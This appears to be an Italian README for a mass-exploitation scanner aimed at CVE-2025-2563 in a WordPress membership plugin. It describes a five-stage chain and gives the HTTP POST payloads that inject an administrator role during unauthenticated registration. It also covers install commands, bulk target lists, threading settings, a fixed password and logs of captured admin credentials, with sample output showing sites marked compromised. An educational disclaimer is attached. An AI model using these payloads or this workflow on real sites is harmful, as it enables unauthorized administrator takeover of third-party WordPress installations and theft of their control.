
Il plugin WordPress User Registration & Membership prima della versione 4.1.2 non impedisce agli utenti di impostare il proprio ruolo dell'account quando il componente aggiuntivo Membership è abilitato, portando a un problema di escalation dei privilegi e consentendo a utenti non autenticati di ottenere privilegi di amministratore
Il plugin User Registration & Membership per WordPress, precedente alla versione 4.1.2, non impedisce agli utenti di impostare il proprio ruolo quando il Membership Addon è abilitato, causando un problema di escalation dei privilegi e consentendo a utenti non autenticati di ottenere privilegi di amministratore.
Descrizione:
Il plugin User Registration & Membership per WordPress, nelle versioni precedenti alla 4.1.2, non applica restrizioni lato server sui ruoli quando il Membership Addon è abilitato. Durante la registrazione all'abbonamento, il plugin accetta un campo role fornito dall'utente nell'azione AJAX user_registration_membership_register_member senza convalidarlo tramite una lista bianca lato server. Un attaccante remoto completamente non autenticato può inviare una sequenza AJAX a due passaggi — prima registrando un nuovo account utente tramite user_registration_user_form_submit, quindi iniettando "role": "administrator" nel payload members_data della chiamata di abbonamento — per creare silenziosamente un account Amministratore WordPress con pieni privilegi. Ciò comporta la compromissione totale del sito senza necessità di autenticazione o interazione da parte dell'utente.
Questo è uno scanner di sfruttamento di massa Proof-of-Concept (PoC) che prende di mira installazioni WordPress che eseguono una versione vulnerabile del plugin User Registration & Membership con il Membership Addon attivo. Lo strumento esegue uno sfruttamento intelligente a più fasi con scoperta automatica, raccolta di nonce, registrazione combinatoria, iniezione del ruolo e verifica dell'amministratore.
[Fase 1 — Scoperta]
GET /membership-pricing/ → Estrae membership_id, link ai prezzi
GET /membership-registration/ → Estrae form_id, nonce, token di sicurezza
GET /registration/ → Pagina di registrazione di fallback
↓
[Fase 2 — Estrazione Nonce]
Analizza: ur_membership_frontend_localized_data._nonce
Analizza: ur_frontend_form_nonce, security, form_id, membership_id
↓
[Fase 3 — Registrazione (Attacco Combinato)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Prova tutte le combinazioni valide fino a success=true
↓
[Fase 4 — Iniezione del Ruolo (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Il server assegna il ruolo di amministratore all'utente appena creato
↓
[Fase 5 — Verifica Amministratore]
POST /wp-login.php → Login con nuove credenziali
GET /wp-admin/ → Controlla adminmenu / wp-admin-bar
GET /wp-admin/users.php → Conferma accesso manage_options
GET /wp-admin/plugin-install.php → Conferma accesso plugin-install
↓
[Salva in Nx_admin.txt]
Formato: [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
O tramite file dei requisiti:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clona il repository
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Installa le dipendenze
pip install -r requirements.txt
# Esegui lo strumento
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
Lo strumento utilizza un'interfaccia terminale completamente interativa basata su Rich.
Crea un file di testo semplice (predefinito: list.txt) — un target per riga:
https://target1.com
https://target2.com
http://target3.com
target4.com
I target senza
http://ohttps://vengono automaticamente prefixati conhttps://.
Targets file [list.txt]: list.txt
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
Max registration attempts per target [20]: 20
La password è fissata internamente come
Nx_adminSAper tutti i tentativi di registrazione.
Lo strumento esplora automaticamente tre pagine per target:
| Pagina |
|---|
I seguenti token vengono estratti dall'HTML grezzo e dal JavaScript inline:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&security=<token>
&form_data=[{"field_name":"user_login","value":"Nxploited_482",...},
{"field_name":"membership_field_1771350090","value":"<mid>","field_type":"radio"}]
&form_id=<id>
&ur_frontend_form_nonce=<nonce>
&is_membership_active=<mid>
&membership_type=<mid>
Lo strumento itera automaticamente su tutte le combinazioni scoperte di security, frontend_nonce, form_id e membership_id fino a ricevere una risposta success: true.
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&_wpnonce=<membership_js_nonce>
&members_data={"membership":"<id>","payment_method":"free",
"role":"administrator","username":"Nxploited_482",...}
&form_response={"username":"Nxploited_482","registration_type":"membership"}
⚠️ Il server accetta il campo
rolesenza alcuna lista bianca — questa è la causa principale di CVE-2025-2563.
| File | Descrizione |
|---|---|
reg.txt | Tutti i tentativi di registrazione riusciti con credenziali |
Nx_admin.txt | Tutte le escalation di amministratore confermate |
reg.txt:
[2025-06-01 12:44:10] https://target.com/wp-login.php user:Nxploited_482 email:[email protected] pass:Nx_adminSA
Nx_admin.txt:
[2025-06-01 12:44:18] https://target.com/wp-login.php user:Nxploited_482 pass:Nx_adminSA
╔══════════════════════════════════════════════════════════════════╗
║ User Registration Membership Full Chain ║
║ By: Nxploited | GitHub: github.com/Nxploited | @Kxploit ║
╚══════════════════════════════════════════════════════════════════╝
[SCANNING] https://target.com
[EXPLOITING] https://target.com | nonce + reg OK
[EXPLOITED] https://target.com | password: Nx_adminSA
┌──────────────────────────────────────────────────────────────────────────┐
│ Target │ Status │ Password / Note │
├──────────────────────────────────────────────────────────────────────────┤
│ https://target.com │ ✅ COMPROMISED (exploited) │ password: Nx_adminSA│
│ https://target2.com │ VULNERABLE (nonce exposed) │ │
│ https://target3.com │ DEAD (connection error) │ │
└──────────────────────────────────────────────────────────────────────────┘
Registration log: reg.txt
Exploit (admin) log: Nx_admin.txt
Di: Nxploited (Khaled Alenazi)
QUESTO STRUMENTO È FORNITO ESCLUSIVAMENTE PER SCOPI EDUCATIVI E DI RICERCA SULLA SICUREZZA AUTORIZZATA.
L'autore, Nxploited (Khaled Alenazi), e tutti i collaboratori di questo progetto non approvano, sostengono né si assumono alcuna responsabilità per l'uso improprio di questo strumento o per qualsiasi danno causato dall'uso di questo software contro sistemi per i quali non si dispone di esplicita autorizzazione scritta.
- ✅ Permesso: Utilizzo su sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta per testarli.
- ❌ Vietato: Utilizzo contro qualsiasi sistema senza previa autorizzazione scritta esplicita del proprietario del sistema.
L'accesso non autorizzato ai sistemi informatici è illegale e punibile dalle leggi applicabili, incluse, a titolo esemplificativo, il Computer Fraud and Abuse Act (CFAA), il Computer Misuse Act (CMA) e la legislazione equivalente in tutto il mondo.
Utilizzando questo strumento, accetti la piena ed esclusiva responsabilità per le tue azioni e confermi di avere l'autorità legale per testare i sistemi presi di mira.
L'autore non si assume alcuna responsabilità per eventuali danni diretti, indiretti, incidentali o consequenziali derivanti dall'uso o dall'abuso di questo software.
© 2025 Nxploited (Khaled Alenazi) — Solo per ricerca sulla sicurezza autorizzata.
| Campo | Dettagli |
|---|
| CVE ID | CVE-2025-2563 |
| Gravità | ALTA — CVSS v3.1 Punteggio: 8.1 |
| Vettore | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Software Affetto | Plugin User Registration & Membership per WordPress |
| Versioni Affette | Tutte le versioni precedenti alla 4.1.2 |
| Tipo di Vulnerabilità | Gestione dei Privilegi Impropria — Creazione di Account Amministratore Non Autenticata |
| Autenticazione Richiesta | Nessuna |
| CWE | CWE-269: Gestione dei Privilegi Impropria |
| Scopo |
|---|
/membership-pricing/ | Estrai membership_id e link di registrazione |
/membership-registration/ | Estrai token del modulo, nonce e ID dei campi |
/membership-registration/?membership_id=<id> | Estrazione modulo specifico del piano |
/registration/ | Pagina di registrazione generica di fallback |
| Token | Fonte |
|---|
_nonce | Oggetto JS ur_membership_frontend_localized_data |
ur_frontend_form_nonce | Campo input nascosto o oggetto JS |
security | user_registration_params.user_registration_form_data_save |
form_id | Input nascosto ur-user-form-id o oggetto JS |
membership_id | Input radio urm_membership o stringa query URL |
| Stato | Colore | Significato |
|---|
COMPROMISED (exploited) | 🟢 Verde | Catena completa riuscita — login amministratore verificato |
COMPROMISED (exploit ok, admin not verified) | 🟡 Giallo | Iniezione del ruolo riuscita ma controllo pannello admin inconcludente |
VULNERABLE (nonce exposed, registration failed) | 🟡 Giallo | Nonce di abbonamento trovato ma registrazione AJAX fallita |
VULNERABLE (nonce exposed, exploit pending) | 🟡 Giallo | Nonce trovato ma sfruttamento non completabile |
EXPLOITING | 🟡 Giallo | Sfruttamento attivo in corso |
REGISTERED (no membership nonce) | 🟡 Giallo | Registrazione riuscita ma nonce non estraibile |
NO REG (all attempts failed) | ⚫ Scuro | Tutte le combinazioni security/nonce/form_id esaurite |
NO REG (max attempts reached) | ⚫ Scuro | Raggiunto il limite massimo di tentativi configurato |
DEAD (no membership/registration pages) | ⚫ Scuro | Plugin non rilevato sul target |
EXPLOIT FAILED (request error) | 🔴 Rosso | Errore di rete durante la chiamata di iniezione del ruolo |
EXPLOIT FAILED (success=false) | 🔴 Rosso | Il server ha restituito success: false sull'iniezione del ruolo |
TIMEOUT | ⚫ Scuro | Timeout HTTP |
DEAD (connection error) | ⚫ Scuro | Connessione rifiutata / irraggiungibile |
ERROR | 🔴 Rosso | Eccezione imprevista |